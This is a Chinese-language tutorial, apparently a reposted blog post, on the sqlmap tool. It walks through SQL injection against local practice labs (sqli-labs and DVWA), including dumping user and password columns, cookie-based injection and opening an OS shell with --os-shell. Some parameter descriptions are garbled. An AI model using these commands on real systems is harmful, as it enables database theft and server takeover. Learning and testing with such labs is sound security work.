SQLMap使用

Posted _K1ng

tags:

篇首语:本文由小常识网(cha138.com)小编为大家整理,主要介绍了SQLMap使用相关的知识,希望对你有一定的参考价值。

SQLMap

​ sqlmap是一款SQL注入漏洞测试工具,支持mysql, Oracle,PostgreSQL, Microsoft SQL Server, Microsoft Access, IBM DB2, SQLite, Firebird,Sybase和SAP MaxDB等数据库的各种安全漏洞检测。

常用参数

​注意:必须指定至少一个目标

-u			#指定URL,必须使用双引号包含url

--data		#

-param-del	#

User Agent	#

-user-agent	#指定一个User Agent值

-referer	#指定http头中的referer值

-cookie

-cookie-del

-drop-set-cookie

-load-cookies

性能优化
-o			#一键优化

-null-connection	#http空连接

-p			#要测试的注入点

-skit		#排除不需要测试的注入点

-os			#识别数据库管理系统的操作系统


注意:-u 指定URL时需要带参数,否则找不到注入点

--current-db		#获取当前库名

-D “数据库名” --tables		#获取该库中的表名

-D “数据库名” -T “表名” --columns		#获取该库中指定表下的字段

SQLMap之MySQL数据库注入

1、使用sqlmap判断一个页面是否存在注入漏洞(主要是看能否返回信息)

这里在kali环境下运行SQLMap

sqlmap -u "http://192.168.56.204/sqli-labs-master/Less-1/?id=1"

当给sqlmap一个url的时候,它会判断可注入的参数;判断可以用那种SQL注入技术来注入;识别出哪种数据库;

2、获取数据库信息

sqlmap -u "http://192.168.56.204/sqli-labs-master/Less-1/?id=1" --dbs

3、获取当前数据库的信息

sqlmap -u "http://192.168.56.204/sqli-labs-master/Less-1/?id=1" --current-db


4、指定库名列出所有表

sqlmap -u "http://192.168.56.204/sqli-labs-master/Less-1/?id=1" -D security --tables


5、指定库名表名列出所有字段

sqlmap -u "http://192.168.56.204/sqli-labs-master/Less-1/?id=1" -D security -T users --columns


6、指定库名表名字段列出所有数据

sqlmap -u "http://192.168.56.204/sqli-labs-master/Less-1/?id=1" -D security -T users -C username,password --dump

SQLMap之cookie注入

1、首先是获取浏览器在网站的cookie。下面详细介绍一种可以获取cookie的方法。

从浏览器控制台代码看:按Fn+F12打开控制台,选择控制台标签页,在标签页底端输入命令document.cookie点击回车,就会出现当前网页的cookie。

document.cookie

也可以使用burpsuite抓包cookie数据。具体操作如下:在浏览器访问想要进行抓包的网址(目标网页),然后设置代理服务器(一般情况下HTTP代理设置为127.0.0.1,端口号是8080),打开burpsuite,返回浏览器的目标网页,进行刷新,此时burpsuite就会自动抓包,存放于【Procy】标签的【Intercept】标签内。

2、带入Cookie 查看是否存在注入点

sqlmap -u \'http://192.168.56.207/vulnerabilities/sqli/?id=1&Submit=Submit\' --cookie="phpSESSID=krgoqq9765mfh8dnothcg6eeb7; security=low"

3、爆出数据库

sqlmap -u \'http://192.168.56.207/vulnerabilities/sqli/?id=1&Submit=Submit\' --cookie="PHPSESSID=krgoqq9765mfh8dnothcg6eeb7; security=low" --dbs

4、针对指定数据库爆表

sqlmap -u \'http://192.168.56.207/vulnerabilities/sqli/?id=1&Submit=Submit\' --cookie="PHPSESSID=krgoqq9765mfh8dnothcg6eeb7; security=low" -D dvwa --tables

5、针对指定表爆出其所有字段

sqlmap -u \'http://192.168.56.207/vulnerabilities/sqli/?id=1&Submit=Submit\' --cookie="PHPSESSID=krgoqq9765mfh8dnothcg6eeb7; security=low" -D dvwa -T users --columns

6、得到了数据库、表、字段内容,最后查看该表中的所有内容

sqlmap -u \'http://192.168.56.207/vulnerabilities/sqli/?id=1&Submit=Submit\' --cookie="PHPSESSID=krgoqq9765mfh8dnothcg6eeb7; security=low" -D dvwa -T users -C user,avatar,first_name,last_name,password,user_id --dump

SQLMap之交互式写shell及命令执行

1、利用Windows 系统命令查看网站网络信息

sqlmap -u "http://192.168.56.204/sqli-labs-master/Less-1/?id=1" --os-cmd=ipconfig

选择网站语言

选择网站根目录

查看网站网络信息

2、执行shell

sqlmap -u "http://192.168.56.204/sqli-labs-master/Less-1/?id=1" --os-shell

选择网站语言

选择网站根目录,会在根目录下生成两个临时文件

进入shell命令行模式

可以正常执行命令

exit退出

3、测试注入点

sqlmap -u "http://192.168.56.204/sqli-labs-master/Less-1/?id=1" -p id

	#-p用于指定扫描参数是id

​确定参数ID存在漏洞,而且可以通过基于报错的注入,联合查询注入来进行注入操作,并给出了对应的Payload语句。

以上是关于SQLMap使用的主要内容,如果未能解决你的问题,请参考以下文章

整理篇(sqlmap 源码分析os-shell 原理攻防角度使用sqlmap)

如何使用 xampp 设置 sqlmap 注入?

阅读sqlmap源代码,编写burpsuite插件--sqlmapapi

阅读sqlmap源代码,编写burpsuite插件--sqlmapapi

关于拼接SQL语句sqlMap的使用方法

SQLMap 源码阅读